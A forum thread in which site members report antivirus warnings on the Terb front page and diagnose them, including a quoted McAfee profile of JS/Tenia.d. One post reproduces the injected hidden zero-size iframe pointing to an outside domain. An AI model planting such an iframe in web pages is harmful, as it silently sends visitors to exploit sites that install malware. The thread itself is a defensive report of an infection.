Virus on Terb

[tboy]

I get:

trojan-clicker.html.iframe.call in my documents and setting sfolder....

and another:
exploit.win32.pidef.cpe

 

[Fred Zed]

Will get that checked. Thanks

 

[alexmst]

McAfee Virus Profile: JS/Tenia.d

Virus Profile information

Risk Assessment: Home Low | Corporate Low
Date Discovered: 6/25/2008
Date Added: 6/25/2008
Origin: N/A
Length: Varies
Type: Trojan
Subtype: Script
DAT Required: 5325

Virus Characteristics

Description

This is a trojan detection. Unlike viruses, trojans do not self-replicate. They are spread manually, often under the premise that they are beneficial or wanted. The most common installation methods involve system or security exploitation, and unsuspecting users manually executing unknown programs. Distribution channels include email, malicious or hacked web pages, Internet Relay Chat (IRC), peer-to-peer networks, etc.

Indication of Infection

Unexpected network connections to unknown websites

Methods of Infection

Browsing of websites containing scripts as previously described.

Virus Characteristics

This detection covers scripts in which malicious iFrame(s) is appended to the end of a HTML page, i.e. after the < /HTML > tag.
The recent variant also included Javascript obfuscated malicious iFrames. These iFrames will lead to redirection of the browser window to browser exploits that will download and execute malware on user's computer.

 

[punter]

I just got the virus, as well: Trojan-Clicker.HTML.IFrame.all

using Rogers Online Protection AV s/w.

 

[Ironhead]

The only good Pepsi.

 

[shakenbake]

I myself am running McAfee. Each time I load Terb I get a message pop up from McAfee saying:

McAfee has automatically repaired an infected file.

About this Trojan
Detected: JS/Tenia.d (Trojan)
Location: C:\Documents and Settings\Local Settings\Temporary Internet Files\Content.IE5...

Trojans appear as legitimate programs but can damage valuable files, disrupt performance, and allow unauthorized access to your computer.

Mine too, on all my XP machines.

 

[DistantVoyeur]

I can't get on in front page. My anti-virus quarantined a file and I have the same problem Goober gets when I click on agree.
Had to use a cached page to get in.

 

[havingfun]

I am running Firefox and Avast. I also get the virus notification.

 

[silee]

I am running Firefox and Avast. I also get the virus notification.

ME too! I got the warning as well.

 

[SaturnFan]

Mods: It's on this page:

www DOT terb DOT ca / index2.htm

 

[LadyTY2Uall]

Add me to that list......had to quarantene 2 files before I was allowed in.

 

[WoodPeckr]

Having no problems at all.

This is why I like Linux....

 

[alexmst]

Having no problems at all.

This is why I like Linux....

Braggart!

 

[islandman4567]

Having no problems at all.

This is why I like Linux....

ditto

 

[djk]

Was that identified as js/tenia.d? That is what my McAfee determined it to be in my ie5 temporary internet folder in XP, if that helps.

Whoa. You're still using IE5?!?! That is a huge security risk on it's own.

 

[djk]

Agreed - Mods, look into this. I have a Mac, but I got a warning.

Same. I was told by Safari this site has been listed as a known malware site. When I clicked "Yes, continue.." Safari warned me again.

 

[cancowboy2001]

There is a suspicious IFRAME tag at the bottom of the index2.htm code.

<iframe src="http://davtraff.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

 

[Barca]

I am getting the same problem on Safari and Firefox. The "index" page is flagging warnings with my antivirus. The only way I logged on was typing in the bulletin board URL manually. Someone should probably look at this.

 

[Purrrfection]

Same Here

pops up as threat using firefox avg

 

[needinit]

I got a Mal_hifm virus quarantined when I entered Terb.

Did not appear on other sites, so is not us (and you wouldn't get this number reported all at once if it was each user).